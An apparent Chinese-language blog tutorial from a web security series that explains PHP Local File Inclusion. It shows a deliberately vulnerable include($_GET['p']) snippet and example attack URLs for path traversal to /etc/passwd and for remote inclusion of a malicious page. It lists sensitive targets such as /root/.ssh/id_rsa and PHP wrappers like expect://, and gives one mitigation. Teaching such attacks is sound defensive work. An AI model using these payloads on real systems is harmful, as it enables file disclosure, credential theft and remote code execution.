iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 19
1
Security

Web Security 魔法使攻略系列 第 19

Web Security 魔法使攻略─Local File Inclusion

  • 分享至 

  • xImage
  •  

前文

今天是 Balsn CTF 開打囉,對 CTF 有興趣的人,歡迎參加這場活動!

正文

來談談寫網站的時候你都怎麼讀檔案
如果你在 PHP 當中使用 include , include_once, fopen, file_get_contents, require, require_once
你可是要小心的

LFI 全名叫做 Local File Inclusion
他可以任意透過路徑讀取系統敏感的檔案

比如說

<?php
 
$page = $_GET['p'];
include($page);

正常可能是這樣
demo.feifei.com.tw/?p=index.php

情境一
那假設我們 include 其他頁面呢
demo.feifei.com.tw/?p=../../../../etc/passwd

情境二
或是
demo.feifei.com.tw/?p=https://hack.feifei.com.tw/hack.php

  • 在情境一當中

  • 我們讀取的是 Linux 中很重要的檔案

  • 我們也可以讀取一些設定檔

  • apache2 設定檔

    • /etc/apache2/apache2.conf
  • nginx 設定檔

    • /etc/nginx/nginx.conf
    • /etc/nginx/sites-enabled/default.conf
    • /root/.ssh/id_rsa
  • 或是環境變數

  • 在情境二當中

    • 惡意使用者也可以試圖遷入自己撰寫的惡意頁面
    • 透過修改 PHP 的設定 「allow_url_fopen」
      • 可以決定 PHP 是否可以載入外部的 PHP Script
      • 防護方法 : allow_url_fopen = false

更深入的攻擊

  • php 的偽協議
    • file:// — 可以讀檔案
    • http:// — 可以對網頁送出請求 https:// 亦可
    • ftp:// — 訪問 ftp 位置
    • php:// — PHP I/O
    • zlib:// — 壓縮
    • data:// — RFC 2397
    • glob:// — 針對資料夾
    • phar:// — PHP 歸檔
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — 音樂
    • expect:// — Process Interaction Streams

上一篇
Web Security 魔法使攻略─Command injection
下一篇
Web Security 魔法使攻略─ Upload
系列文
Web Security 魔法使攻略30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言